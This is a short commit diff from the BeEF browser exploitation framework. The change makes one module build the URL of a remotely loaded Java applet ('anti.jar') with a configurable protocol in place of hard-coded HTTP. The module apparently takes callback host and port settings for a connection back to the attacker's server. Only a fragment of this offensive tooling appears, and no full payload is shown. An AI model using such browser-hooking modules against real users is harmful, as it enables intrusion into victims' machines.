Update BeEF server protocol for multiple modules to use
`beef.http.https.enable` Now uses the `beef.net.httpproto` value rather than a hard-coded protocol string. Part of issue #745
This commit is contained in:
@@ -9,7 +9,7 @@ beef.execute(function() {
|
||||
var conn = '<%= @conn %>';
|
||||
var cbHost = '<%= @cbHost %>';
|
||||
var cbPort = '<%= @cbPort %>';
|
||||
var applet_archive = 'http://'+beef.net.host+ ':' + beef.net.port + '/anti.jar';
|
||||
var applet_archive = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/anti.jar';
|
||||
var applet_id = '<%= @applet_id %>';
|
||||
var applet_name = '<%= @applet_name %>';
|
||||
|
||||
|
||||
Reference in New Issue
Block a user